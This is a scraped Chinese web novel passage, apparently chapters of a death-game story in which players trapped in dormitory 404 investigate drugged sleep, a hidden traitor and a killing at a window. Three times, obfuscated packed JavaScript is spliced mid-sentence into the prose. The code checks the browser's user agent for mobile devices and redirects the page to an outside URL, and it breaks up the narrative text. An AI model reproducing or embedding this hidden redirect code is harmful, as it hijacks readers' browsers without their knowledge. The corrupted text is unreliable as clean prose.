红光霎时射出一道道光线,对准了黄区男人,黄区男人反应极快地将身体扭成各种各样的姿势险险避开,然而红色的激光却越来越密,最后几乎照得整面墙都是红点。 有几道红光擦着黄区男人的身体几乎要射进门里。 此时距离门口最近的分别是黑区男人和谢杏儿,眼见着黄区男人就要退回门里,红光似乎带了情绪般追着他就过来了。 黑区男人没有一丝犹豫,“砰”的一声就把门碰上了。 门上传来闷闷的一声“咚”,鲜红的血液从门缝里蜿蜒地流了进来。 孟文倩愣了几秒才反应过来,目光在血迹上钉住,她的眼眶登时红了,手紧紧捂住嘴,发出克制不住的呜咽。 沈令珩看着血迹,视线上抬,停在黑区男人毫无波动的脸上。 没有人说话,只剩下孟文倩压抑的哭声在宿舍里回荡。 红区光头男人率先打破沉默,他收起了戏谑的目光,表情凝重了几分。 红区的两个男人对视一眼,光头男率先开口,“我大名唐飞扬,叫我飞扬或者光头都行。他叫蒯宏盛。”他拍了拍蒯宏盛,说,“阿盛不会说话。” 他好像在和所有人对话,眼睛却只看着黑区男人,“我刚才说过的,我们红区无意争第一,不必对我们有敌意。” 阿盛也认真地点点头,他点头幅度很大,一米九的个子做出这样的举动,莫名有种憨厚的老实。 只是,无意争第一么……沈令珩将自己的视线从男人脸上移开,她垂下眼,所以必须要争第一才能赢。 她转动轮椅,一张床一张床看过去,又顺便比对了一下轮椅和通往阳台的玻璃门的宽度。 轮子太宽而门太小了。 如果坐在轮椅上,她出不去。 唐飞扬的声音在她身后继续,似乎是怕黑区男人不信,他又解释了一句,“这次游戏不适合我们红区,我们只想活着通关拿个保底生存点。” 然后是蓝区男人的声音,“还有我,黎思淼,就当我是来混日子的。” 一个两个,投诚得都很快啊……够识时务的,是真的投诚还是假意呢?沈令珩自顾自确定着床边的名字,唐飞扬、蒯宏盛,一个在上一个在下。 谢杏儿和黎思淼也是。 沈令珩检查完一圈床位上的名字,确定了蓝区和红区两区玩家都是上下铺。 所以床位排列也是有规律的?那么不出意外,黄区的两个也是上下铺,她和黑区男人也是。 沈令珩拧眉抬头,她的名字在上铺。 而下铺,也就是她一开始发现名字的地方,那个原本应该漆着名字的地方被抹掉了。 本来明明是有的。 “白区的。” 黑区男人背靠着门,不轻不重地叫了声。 第二次了……沈令珩看向他,刚才就是他故意推开她,导致她没能看到那个名字,这次又打断她。 她刚发现的时候明明都摸到痕迹了,现在却光滑得好像从来没有过字的凸起一样。 “检查完了吗?”男人眼里闪过一丝戏谑。 沈令珩舔了舔后槽牙。 是他干的。 她抓紧了轮椅,唇角弯起虚假的弧度,皮笑肉不笑道,“你不是看到了吗?” 看着她在他做了手脚的地方疑惑,很高兴吗?沈令珩的唇角向下了几分,是他的名字有问题,还是他本人有问题? 还有他刚才确认孟文倩的名字,有些太快了,是因为视力被加强过很多次吗? 沈令珩抿唇。 “用餐时间到。”顶上的音箱突然炸响,打断了沈令珩的思绪。 所有人都停下手头的事,抬头看向音箱。 失真的男性嗓音重复了三遍才停下,而后归于寂静。 指令相当明确。 谢杏儿拉开椅子,发出刺耳的声音,她也不说话,冷着脸抽出一次性筷子,掰开了开始夹东西吃。 连孟文倩都拖着肿了的脚一瘸一拐地坐到餐桌旁。 他们都在听指令做事,沈令珩也加入其中,模仿着谢杏儿,她吃什么,自己就吃什么。 几人难得平和地一起吃完了这一餐。 “要洗碗吗?”黄区男人的死似乎让孟文倩学乖了,她不再怼人,连讲话声音都变小了。 “放着呗。”黎思淼满不在意道,“自会有人来收的。” 沈令珩瞥了他一眼,这也是游戏常识吗? 她不太确定,但也不打算问,在废城暴露自己的短板是致命的。 “那我们接下去要怎么做?”光头唐飞扬找准了定位,显然已经放弃思考了,彻底以黑区男为主,听候他的差遣。 “在下一个指令来之前,再到处检查下,尤其是阳台。”黑区男的思路很清晰。 沈令珩倒是也想去阳台,但宿舍与阳台之间那个门是玻璃推拉门,她刚才比较过了,她的轮椅太宽了,出不去。 她不仅想去阳台,还想推开窗户看看能不能跳出去。 毕竟走门不行,不代表走窗户也不行。 “翻出去看看。”黑区男的思路和沈令珩撞上了。 “这种程度的探路恕我拒绝了啊。”唐飞扬玩笑般退开了,“让孟文倩去呗。” 他十分自然地给出了更优的、也是更残忍的选择,“她脚伤了,谁知道后面会不会拖累我们。” 黑区男挑了挑眉,“怎么不是沈令珩去?” 比起孟文倩的脚伤,显然沈令珩的腿伤更致命。 “她呀……”唐飞扬拉长音调,意味深长道,“那你让她去。” 他们就这样旁若无人地讨论起了让沈令珩和孟文倩的生死。 黑区男的视线在两人之间来回几次,似乎在评估到底让谁去收益更大。 “说不准那个死人买了契约。”他说这话的时候眼睛看着沈令珩。 沈令珩对上他的视线,契约,她在心里默念了一遍这个词,废城似乎赋予了它新的含义,她原先对这个词的理解在废城是不适用的。 这更像是一种功能,或者道具。类似于绑定那样的。 “我刚才已经承诺了不对孟文倩动手,”他继续道,“不想冒风险。” 承诺了,所以不想冒风险...这似乎能解答刚才她对口头承诺是否有效的疑惑。 或许这个所谓的“契约”是约束他们言出必行用的。 沈令珩眨眼的频率慢了下来,她在思考,黑区男为什么要看着她说这句话。 他很奇怪,似乎从一开始就在针对她。说针对或许不太恰当,但他确实过于关注她了。 沈令珩对上他的眼睛。 在他的眼睛深处,她似乎捕捉到了一丝玩味与……难以察觉的审视。 她微微歪了歪头,看向正鬼鬼祟祟在她旁边的孟文倩。 看来所有人都在他三言两语中决定了下一个探路的不是她就是孟文倩。 包括孟文倩。 沈令珩垂眸笑了。 有趣。 明明同为受害者,另一方却不敢反抗加害者,只敢对似乎更弱的那方下手。 真是和那个她理应称作“母亲”的女人一样无可救药。 沈令珩的视线冷了下来,既然孟文倩想对她下手,那她又何必留情。 她已经尝到心软的惩罚了。 沈令珩把手轻轻放在腿上。 其实她有一个两全其美的解法。 不过,对方配不配用上就是另一回事了。 沈令珩的目光紧紧盯住阳台,窗户旁边是一个和她学校宿舍一样的洗手池,被提升过的视力可以清楚地将洗手台的结构纳入眼底,和她学校宿舍的那种一样,白色陶瓷,台面很窄,底下是悬空的。 她微微眯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280641|198153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起眼。 “如果你要让我去探路,”她把声音压得很低,但咬字却很清晰,“首先得把我挪到阳台,再推下去。” 她朝孟文倩伸出手,“来吧。” 沈令珩投降般的行为,让关注着他们这边的其余人都不由得有些意外。 她是什么意思?包括孟文倩在内的所有人都这样想着。 孟文倩一时间竟然犹豫了,进,不知对方在搞什么幺蛾子,退……退一步死的就是她。 左右不过是个白区的,她咬了咬牙,真的接住沈令珩的手,将她从轮椅上拉了起来。 沈令珩借力撑在她身上,她很轻,孟文倩加强过的身体素质可以轻松把沈令珩抱起。 沈令珩在她耳边低声道,“我们可以用你朋友的尸体去探路,这样谁都不会死。” 孟文倩顿了顿,似乎没听到她的话一般,继续一瘸一拐地抱着沈令珩来到阳台,她的视线收着不敢看黑区男,被她抱着的沈令珩却无所顾忌地盯着男人。 “非礼勿视。”男人说。 “其实,”沈令珩和他同时开口,她无视男人的话,自顾自道,“你只是在一个个清理竞争对手吧。” “不管是刚才逼人出门,还是现在逼人翻窗,”沈令珩说得很慢,孟文倩的动作却不慢,她将沈令珩往上掂了掂,将她推上窗口,“都是在把人往死路上推。” 沈令珩用手撑在窗户玻璃上,坐在窗沿上中止了孟文倩的动作,此时她所处的位置很高,超过了黑区男,甚至和红区的大块头有的一拼,她居高临下地看着黑区男,三分确定的结论被她说出了十分的肯定,“你是卧底。” 孟文倩愣住了,在场听到她声音的人都愣住了。 谢杏儿的食指无意识地在桌面扣了一下,黎思淼的身体微微前倾,眼底流露出一丝兴味,光头唐飞扬和哑巴阿盛停住,阿盛的脚步后退半步,似是拉开了和黑区男的距离。 众人神色各异,宿舍里一时间落针可闻,沈令珩却猛地抓起孟文倩,身体用力往后一倒。 得益于基础力量的提升,孟文倩的脚几乎离开地面。 她低声在孟文倩耳边说,“如果你刚才做了另一个选择,我们都不用死。” 孟文倩瞳孔一颤,眼里闪过动摇和慌乱,最后彻底被恐惧覆盖,她听见沈令珩说: “现在,你去死吧。” 孟文倩的大脑一片空白。 她感觉到了失重。 那是命运的失重。 “不…”孟文倩低喃,“我同意你的方案…我们用……” “晚了。” 沈令珩语气冰冷,她整个人向后仰倒,用腰腹带动身体,直接将孟文倩从地上拔起扔出了窗外。 沈令珩自己也被带着半个身体都探出了窗户,冰冷的风打在她脸上,沈令珩闭上眼,身体在她即将掉下去时刹停。 孟文倩觉得她弱,不过是因为在同为受害者时,她未曾将锋芒对准同伴罢了。 她们看着她抵抗加害者,看着她露给同伴那毫无防备的后背,然后毫不留情地捅刀子,将她献祭给加害者以求自保。 可怜又可恨。 和那个女人一模一样。 沈令珩睁开眼,既然给了机会不要,她就不会再犹豫了。 孟文倩的尖叫声越来越远,沈令珩顺着自己胳膊上属于旁人的力气回正,身体坐直,她抬起胳膊,把胳膊上那只属于黑区男骨节分明的手举到他面前,挑了挑眉,“心虚了?” 孟文倩的声音戛然而止。 【生存点已继承:7943】 “好好看看我到底是不是卧底。”黑区男松开她,冷笑一声,“还有,救命之恩,不用谢。” “救命之恩?”沈令珩的视线滑到自己的腿上。 她的支具现在调成了固定的状态,绷紧的脚背,伸进洗手台下面,勾住了。 11.404宿舍(三) 风从窗户灌进来,吹得她背后发凉,但掌心却是热的。她低头看了一眼,掌心还残留着刚才撑着窗台时沾的灰,混着汗,黏腻腻的。 沈令珩的视线没有在自己身上过多停留,她抬眸看着其他人怔愣的反应,尤其是黑区男的,他伸手揉了揉眉心,然后笑了出来,眼底却一丝笑意也无,“行,你厉害,你就在窗户上坐着吧。” 沈令珩收了脚背的力道,将腿自然地挂了下来,她撑着窗台,慢慢把身体挪回阳台里面,试图站到地上。 唐飞扬用手肘碰了碰哑巴阿盛,阿盛从善如流地上前几步,朝沈令珩伸出了手臂,他训练痕迹极重的手臂极粗,能看到皮肤下跳动的青筋。 “下来吧,”唐飞扬面不改色道,“我看看孟文倩通关没。” 沈令珩看了他一会,伸出手,撑在阿盛粗壮的胳膊上。 唐飞扬看了黑区男一眼,装模作样地将脑袋探出窗户往下看,说,“嗯,确定是死路。” 说完,他又瞥了黑区男一眼,男人闻言没说什么,只是自顾自地进了盥洗室。 沈令珩听见他关上门的声音,并不重,她低下头,借力下了窗户,脚踩实地面的瞬间,膝盖软了一下。 她的膝盖在抖。 支具和阿盛的手臂撑住了沈令珩,但剧烈的疼痛依旧刺进了沈令珩大脑里,她吃力地站直身体,下意识扫了眼他的手臂,然后视线滑到自己的腰上......居然差不多粗。 “我来。”冷冽的女声在沈令珩头顶响起,谢杏儿的表情似乎比一开始柔和了些许,她的眼里还有一丝未散去的笑意,从阿盛手里接过沈令珩扶住,问,“送你回轮椅?” 沈令珩摇头,她的声音带着点轻微的颤抖,“我要在这里检查环境。” 这是她唯一的游戏经历教给她的,既然已经到了阳台,没道理什么都不做。 谢杏儿点了点头,直接将她公主抱了起来,沈令珩下意识环住她的脖子,身体贴近的瞬间,谢杏儿动作幅度极小地低下头,嘴唇贴在她耳边,声音极轻,“合作吗?” 合作...沈令珩低垂着眼,在心里重复了一遍这两个字。 原来谢杏儿也想赢。 五个区里,红区是率先退出竞争的队伍,只要对通关有益,他们都乐意出力,黄区已经彻底出局,剩下就他们三个区了。 黎思淼不堪重任,所以找上她了吗? 沈令珩轻轻扯了扯唇角,明白了谢杏儿的逻辑。 她看出来自己也想赢了。 所以想团结她,孤立黑区男,将他的威胁降低,最后再赢过她。 她没有一个人赢过黑区男的信心,却觉得能赢过她么…… 沈令珩正想着,一丝若有似无的药味不知从哪里渗了出来。 沈令珩微顿,感觉到谢杏儿的手臂微微收紧。 黑区男推门而出,气味瞬间浓郁了不少,他眸色微沉,“水有问题。” 在场的几人还没说什么,黎思淼一个箭步冲了过来,惊疑不定道,“怎么可能?!” 见他们几人表情不对,他的神色变幻一阵,最后泄了口气,似是自言自语,“我……我每天都要洗澡的。” 但没人理会他,黑区男的视线在沈令珩身上停了停,歪了下头,但什么都没说,便把视线掠了过去。 沈令珩被谢杏儿带着进了盥洗间,几个男人便没再进来,沈令珩对她点了点头,那就合作吧。 沈令珩和她加上好友。 谢杏儿的唇角细微地提起一个弧度,两人开始检查盥洗间。 盥洗室不大,靠墙是一面镜子,镜子右侧是一张窄窄的置物架,往下是个小水池,水龙头是老式的旋转式,底下是水泥砌的洗衣台,台面磨得发白。 里面是隔间,用帘子做了干湿分离,能看见里面的蹲便器和淋浴喷头。 沈令珩指了指水池上的水龙头,谢杏儿会意,手臂收紧,将她往前带了带。 沈令珩伸手打开水龙头。 刚才在外面闻着还不明显,此时凑近了,沈令珩才察觉原来那股药味是来自于水,那股味道凑近了闻有点像酒精,但又不那么刺鼻,味道非常淡,还有点中草药的味道。 沈令珩关上水龙头。 这个游戏要进行多久? 沈令珩微微拧眉,难道几天不能洗澡么...... 沈令珩抿紧唇,和谢杏儿又在盥洗间仔细检查了一圈,没有找到别的什么不对劲的地方。 两人出去的时候,唐飞扬和哑巴阿盛已经坐在自己的床上了,见她们出来,唐飞扬便说,“外面的水也有问题,这几天最好还是不要用那个水洗漱,得尽快找到出去的办法。” 谢杏儿闻言去开了外面的水龙头,果然,也是那样的味道。 “回吧。”沈令珩的语气有点像叹息。 门不能出,跳窗等于跳楼,还能从哪里离开宿舍? 她被谢杏儿放到轮椅上,开始一幕幕复盘今天发生的事。 比起预备游戏006,这次的游戏信息显然藏得更深,而且掌控欲更强。 除了用黄区两个人探路外,玩家们的发现也只有床位上的名字和水有问题。 很被动。 时间无法确定,背景无法确定,通关的路线更是毫无头绪。 难道是那种会随着时间推移慢慢给线索的类型吗? 沈令珩不太确定,她想起了预备游戏006的倒计时,这个游戏是否也有同样的时间限制?那他们要等,还是要抓紧时间? 她的视线扫过躺在床上的唐飞扬和哑巴阿盛,似乎看到她在看他,唐飞扬朝她点了点头,“有事招呼一声。” 然后又掠过坐在桌边的谢杏儿,最后落在这个连名字是什么都无法确定的黑区男人身上。 男人仰头看着漆黑的音响,下颌线绷得很紧。 是发现了什么吗? “休息时间到!” 音箱给出了新的指令。 照旧是重复了三遍,灯被拉上,整个宿舍陷入黑暗中。沈令珩呼出口气,抬头看向自己在上铺的床位。 唐飞扬在上铺,见状朝阿盛挥了挥手。 阿盛便从床上翻了下来,朝沈令珩伸出手,指指她的床位。 沈令珩点点头,搭上阿盛的手,阿盛单手将她整个人拖起,她坐在阿盛的大臂上,稳稳地被他送上了床铺。 “谢谢。”沈令珩说。 阿盛点点头,便又回去了。 她的视线又忍不住追着他那健壮的肌肉盯了一会,基础视力的提升,让她在黑暗中也有视物的能力。 “好看吗?”黑区男的声音打断了她。 沈令珩收了视线,不搭理他,自顾自地调整支具。 刚才腿软的那一下好像又让受损的膝盖承力了,缓过了一开始的剧痛,现在只是钝痛,可以忍受。 她没有脱衣服,把鞋子放在角落里,扯过被子躺下了。 这会她距离黑色的音箱更近了。 沈令珩看着音箱,想起黑区男盯着它的目光。 他到底发现了什么?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280642|198153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宿舍里的玩家们一一上床,沈令珩的床铺轻微晃动,她能感觉到黑区男的动作慢慢归于平静,沈令珩蹙眉,这种通过上下铺能感知到对方姿势变动的体验对沈令珩来说并不友好。 等等……她忽然察觉到了一丝异样。 一个念头从她脑海里闪过,被沈令珩迅速捕捉到,沈令珩的瞳孔放大。 这个宿舍的背景,并不是完全没给。 它给了一个排除项。 这绝对不是学生宿舍。 至少在沈令珩的认知里,绝对不会有男女同住的学生宿舍。 沈令珩感觉到自己的呼吸又快了几分,对她脆弱的肺部产生了些许压力,她拿出喷剂晃了晃,吞下发涩的药。 她好像有点明白黑区男为什么那么在意那个音箱了。 音箱的背后,藏着这个宿舍的背景,音箱的指令,正是他们掀开冰山一角的钥匙。 宿舍里响起了轻微的鼾声。 不知什么时候,宿舍里除了鼾声和呼吸声以外,没了其他动静,沈令珩听到一个一个呼吸声趋于平稳。 连黑区男都老实不动了。 安静的空间也带来了她的困意。 但沈令珩正思考到半当中,她一咬牙,提膝用了些力在墙壁上撞了一下伤处。 疼痛让她的大脑骤然清醒。 她接上刚才的思路,继续思考音箱,音箱总共给了两条指令,一条是吃饭,一条是休息…… 好像在要求他们健康作息。 水也是服务于这个目的的吗? 痛觉随着时间流逝逐渐变得可以忍受,沈令珩的意识渐渐沉了下去,然后…… 不知不觉睡着了。 在她睡着后很长一段时间里,宿舍里只剩下平缓的呼吸声。 然后突然,门外传来了拖运重物的声音…… 不知过了多久。 “休息时间结束!” 依旧是三遍,紧接着是第二条指令。 “用餐时间到!” 沈令珩猛地睁开眼,疼痛随着她的意识清醒也逐渐恢复,那种隔着层纱的痛感渐渐清晰,她忍不住倒吸了一口凉气。 这么痛?昨晚好像没有这么难忍。 她的额头贴着墙面,原本冰凉的墙面染上她的温度,离开时,皮肤和墙面轻轻分离,发出极细微的声响,沈令珩靠在墙上缓了缓。 心想这条腿的膝盖估计一夜回到解放前了。 下铺的黑区男人似乎是坐起了身,轻微的晃动让沈令珩的膝盖愈发不得安逸,她猛地闭了下眼。 便听见唐飞扬的声音响起,“今天的早餐挺丰盛啊。” 沈令珩忍着疼痛坐起身,阿盛见她起来,便非常自觉地过来帮忙了,他伸手托着沈令珩下来,把她放进轮椅里。 不知是不是错觉,她总觉得今天阿盛的手臂似乎没有昨天那么稳当。 宿舍里开了灯,窗外依旧是漆黑一片,沈令珩坐上轮椅,眼睛瞥过大门口。 原本粘稠的血迹消失得一干二净,餐桌上的残羹冷炙换成了新的食物。 沈令珩一阵恍惚。 不对劲,哪里都不对劲。 她看着沉浸在丰盛的早餐中的玩家们。 一时间有些怀疑,到底是她太过孤陋寡闻,还是他们过于放松警惕了。 这样诡异的情况,在游戏里是很常见的吗? 阿盛给沈令珩端来了一碗小白粥。 沈令珩垂下眸,抽出一对新的筷子,掰开,沉默地按照指令开始用餐。 12.404宿舍(四) “你想到什么了?” 谢杏儿给她发来了消息。 腕表无声震动,沈令珩低眼扫过信息,动作不停地夹了一筷子咸菜。 要不要问? 对她来说,这个游戏有太多不确定的内容,甚至影响到她对线索的认定了。 她送了一筷子粥入口,热的。 沈令珩把戴着腕表的手藏在桌下,选择性地输入“谁送的饭菜?”后发送。 她没有对谢杏儿全盘托出,但关键问题她需要一点信息。 谢杏儿吃饭的动作顿了顿,“你认为饭菜有问题?” 她也没给她提供什么有用的信息。 说是合作,说到底只是互相利用罢了。 沈令珩一直在思考,她是听到播报后才醒的,不知道饭菜具体是怎么出现的,自然也不知道它们到底有没有问题,还是说游戏会自动刷出食物,自动清理现场。 “饭菜是谁送来的。”黑区男吃完,抽了张纸巾擦了擦,语气漫不经心。 他吃得不多,每样菜都只夹了一筷子。 居然和她想到一块去了。 沈令珩瞥了他一眼,视线轮到他的碗里,昨天晚上也是,不知是胃口小还是挑食,他吃得比她少很多。 谢杏儿吃饭的动作停住,便听唐飞扬回答,“没人,我醒的时候就在这了。” 他顿了顿,问,“饭菜有问题?” 黎思淼自顾自吃着饭,闻言翻了个白眼,好笑道,“就不能是游戏刷新出的必要食物来源?” 沈令珩的动作慢了下来,原来如此,游戏是有可能会刷新食物的,怪不得他们一开始都不觉得有什么问题。 她记下这个知识点。 谢杏儿皱了眉,“谁最早醒的?” 众人面面相觑。 依旧是唐飞扬先开了口,他指了指音箱,说,“我是被那个声音吵醒的。” 他朝阿盛那看了眼,阿盛点点头,比了个手势,唐飞扬便替他补充,“阿盛也是。” 谢杏儿放下筷子,黑区男瞥她一眼,淡淡道,“看来你也是?” 谢杏儿默认了。 黑区男的视线便略过沈令珩,投向黎思淼,黎思淼耸耸肩,“我也一样。” 黑区男自然也是被播报声吵醒的,沈令珩很清楚,她醒的时候感觉到了黑区男的动作。想必他也一样。 唐飞扬抓了两个馒头扔进嘴里,囫囵咽下,又喝了一口豆浆,“怎么样?这个发现对通关有什么帮助。” 黑区男点点头,“算是关键线索。” 唐飞扬闻言便识趣地不再问了,只说,“那就好,需要我帮忙随时开口。” 沈令珩用筷子将最后几粒米送入嘴里,彻底光盘后,才放下筷子。 游戏里的饭菜味道挺不错的。 她刚才发现了墙面的问题,想再去研究一下,这会便用手去转轮子。 还没转几下,她便感觉到了一阵酸软。 沈令珩停了下来。 是昨天用力过猛导致肌肉酸胀? 沈令珩朝阿盛抬抬手,“麻烦推我去那边。” 阿盛点点头,听话地把她送到墙边。 沈令珩抚摸着光滑的墙面,思索着什么样的地方会是这样的墙。 “看出来了?”黑区男不知什么时候走到她身边。 沈令珩摇头,“只是发现了问题,却没有解决问题。” 她仰起头,看着那个黑色的音箱。 说话的人,会在背后注视着他们吗? “是吗?”黑区男不置可否。 “你呢?”沈令珩问他,“知道如何通关了吗?” 黑区男摇头,“还差很多。” 中午,播报提醒他们该吃午饭了。 但却没有送来新的食物,依旧是早上那些。 怪不得那么丰盛,原来是算上了中午甚至晚上的份。 几人吃完,或闭目养神,或四处寻找线索,或有一搭没一搭地聊两句。 很快新的播报就来了。 这次是提醒他们休息的。 沈令珩在阿盛的帮助下,回到了自己的床铺。 她看着洁白的天花板,心想,验证她猜测的时候到了。 宿舍里的灯熄灭了。 随着黑暗降临,沈令珩便感觉到困意涌了上来,她的眼皮愈发沉重,呼吸愈发和缓,在意识沉下去前,她忍不住想,果然不正常。 昨晚也是。 沈令珩试图用意志力抵抗睡意,眼皮却怎么也抬不起来了。 她的腿疼成那样……怎么可能不知不觉睡过去…… 沈令珩闭上了眼。 再醒来时,已经不知道几点了,宿舍外面总是一片漆黑,让人失去了时间观念。 沈令珩猛的起身,只觉这里比之监狱更加没有隐私。 所以这里会是什么呢? 人体研究所?还是别的什么? 沈令珩的脊背发毛,大脑反而冷静了下来,是研究某种药物的入睡效果? 底下黑区男已经在起床了。 沈令珩托着下巴,试图将各种线索串起来,明明睡了一觉,她的身体却疲惫得不正常,手也酸软得厉害。 是饭菜有问题?还是水有问题?还是别的什么? 不像是饭,但也不像是水,如果是水有问题,那就意味着闻到味道也不行。 沈令珩更倾向于是别的。 阿盛在她床边敲了敲。 沈令珩在阿盛的帮助下下了床。 这次她很肯定,今天的两次,阿盛的托举确实都不如第一次时那么稳当。 他也受到了影响? 沈令珩坐进轮椅里,却见中间的桌子上,又被换上了新鲜的饭菜。 几人都沉默地注视着这些饭菜,唐飞扬伸了个懒腰,捏了捏胳膊,一边的谢杏儿眼眶下似乎浮起来一点黑眼圈的痕迹,她揉了揉眼睛,皱紧了眉头,黎思淼也有些疲惫地瘫在椅子上。 黑区男则是走去门口,蹲下了。 沈令珩瞥了他一眼,伸手去摸碗,依旧是热的。 “如果是游戏重置,”沈令珩问,“早中晚三顿饭,为什么只刷新两顿?” “说明刷新的节点是睡觉?”黎思淼满不在意地开口。 唐飞扬和阿盛默契地露出了恍然大悟的表情,“不愧是蓝区的。”唐飞扬忍不住赞道,“就算摆烂也能发现关键。” “可惜结论是错的。”黑区男的声音从门口传来。 “如果是游戏重置,何必等你睡觉的时候神不知鬼不觉地重置?游戏需要遮掩吗?”沈令珩忍不住反问。 两人几乎是同时开口。 沈令珩看向黑区男,他站起了身,露出底下蓝色的痕迹。 沈令珩微怔。 便听谢杏儿道,“鲁米诺试剂?你居然带了这个。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291390|198153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 黑区男一脸理所当然,“这不是必带的么?不如说,你们不带才不正常。” 唐飞扬露出有些茫然的表情。 谢杏儿瞥了他一眼,解释道,“鲁米诺试剂可以用来检验血迹,如果这地方有过血液,就可以发生反应,产生蓝色荧光,如果是游戏重置,不会留下一点痕迹。” 她指了指门口的那小片痕迹,“也就是说,门口的血是人为擦除的,那饭自然也不是游戏重置出来的。” 唐飞扬若有所思地点点头,“所以,是有人趁我们睡着,偷偷把饭菜送来,又偷偷把现场处理干净?” 谢杏儿点点头。 唐飞扬忽然打了个激灵,他搓搓胳膊,说,“我怎么觉得有点毛骨悚然了。” “有什么可毛骨悚然的,”谢杏儿的语气又冷了下来,“不过是有人在装神弄鬼而已。” “不只是这些,还有人对我们的身体做了手脚。”沈令珩开口,也就是说,有人让他们在晚上一睡不起,然后在晚上偷偷清理现场,又给他们送来了食物。 破局点就在此了。 “哦?怎么说?”黎思淼抱胸看着她。 黑区男这会也从门口回来了,闻言,他似是露出了一丝微不可察的期待与欣赏,好像在等她说出什么大发现一般。 但又迅速被压了下去,换成了审视。 “不觉得我们所有人的睡眠时间太统一了吗?”沈令珩道,“几乎所有人都是同时睡,同时醒。” “还真是……”此言一出,唐飞扬右手抱拳砸在左手掌心,他笑了,“和你们这群聪明人下游戏就是省心。” 黑区男扯了扯唇,不知是讥讽还是认可,“那你觉得……是谁,在什么方面,对我们做了手脚呢?” 这正是沈令珩无法确定的。 “不会是饭有问题吧?”唐飞扬一脸好奇道。 黑区男摇头,“每个人的饭量都不一样,如果是饭里下药,不可能每个人都那么统一。” 这也是沈令珩排除掉饭里下药的原因。 所以是水?还是真的有什么他们没注意到的东西导致他们睡得这么整齐这么沉。 难道说,这个游戏里,真的有卧底? 在她切实怀疑卧底的那一刻,系统提示音同时响起。 【解锁支线任务:找出404宿舍中唯一一个身份不同的人】 【任务奖励:生存点5000/成功人数】 【已解锁:一次指认机会】 沈令珩的目光微沉,她没有去点开腕表确认支线任务,而是视线一个一个扫过所有人。 一时间所有人在她眼里都成了可怀疑的对象。 尤其是黑区男人。 但沈令珩没着急指认。 这次奖励的生存点是要和其他成功指认的人分享的,指认谁、如何指认都是需要好好思考计划一下的。 “那到底是怎么回事?”黎思淼的语气有些不耐,“一会走近科学,一会又不科学了,什么手段能让所有人睡得这么统一?偷偷给我们下迷药了?” 思路在找卧底上的沈令珩闻言一愣。 是啊,什么科学的手段可以做到这种事? 这可能吗? 沈令珩垂下眸,一个一个回忆着整个宿舍与学生宿舍不同的种种矛盾之处。 会不会这就是这个宿舍的背景? 一个专门研究如何控制人的睡眠的实验室? 13.404宿舍(五) “我有一个提议。”谢杏儿开了口,她看向黑区男,“这个游戏的难度恐怕不是我们一个或者两个人能独立完成的,不如合作?” “我没必要和你们合作。”黑区男的手插着口袋,视线根本没往谢杏儿身上落,“必要的时候,我自然会选择合适的人‘使用’。” 他的唇微微弯起,“比如说,如果我想知道水到底有什么问题,我会选择……” 他的手指在几人中间移动着,在谢杏儿身上停了,在黎思淼身上停了,最后在沈令珩身上停住。 他朝她露出一个十分标准的微笑,然后不说话了。 沈令珩的中指动了动。 “都这时候了还不合作。”黎思淼趴在桌子上,有气无力道,“我摆烂都摆得很没安全感了。” 他的眼睛不动声色地在谢杏儿身上停了停,又扫过沈令珩他们这边,最后在唐飞扬两人脸上顿住,然后猛地坐直了身体,眼睛微微眯起来盯住黑区男,“你不会真是卧底吧?” 他话刚说完,沈令珩眼看着唐飞扬和阿盛和他如出一辙地抬手查看腕表,然后是黎思淼,他似乎也察觉到了什么,抬起手臂。 但谢杏儿和黑区男都没什么太大的反应。 他们俩早就知道了?是在她提出有卧底的时候? 也就是说,当时,她的“卧底论”,其实并没有说服现在才触发支线的三个男人。 直到现在,他们才真的信了有卧底。 黎思淼似乎是确认完了支线任务,眼神惊疑不定地落在黑区男身上,嘴唇蠕动了半天,吐出一个,“你……” “他不是。”唐飞扬替黑区男辩解,“沈令珩不是一开始就指认过了,如果当时就指认成功了,她不可能不告诉我们。” 沈令珩摇头,“当时我还没有触发支线任务。” 唐飞扬的面色也凝重了一些,包括谢杏儿在内,玩家们的第一卧底人选是谁,不言而喻。 黑区男皮笑肉不笑,“怀疑我就直接指认我,没这个胆子就闭嘴。” 谢杏儿的神色变幻一阵,面容冷凝,“最起码,我们要知道你的名字。” 沈令珩抬头看向黑区男。 她也想知道他的名字。 她的视线正好和黑区男未收回去的视线对上,男人的视线很快掠过,只是如蜻蜓点水般落在她身上。 沈令珩却感觉到了一丝异样。 他好像是因为她才不想说名字的…… 是错觉吗……沈令珩确信自己不认识这个男人,更别说得罪他了。 是因为自己是白区的?所以不配听到他的名字? 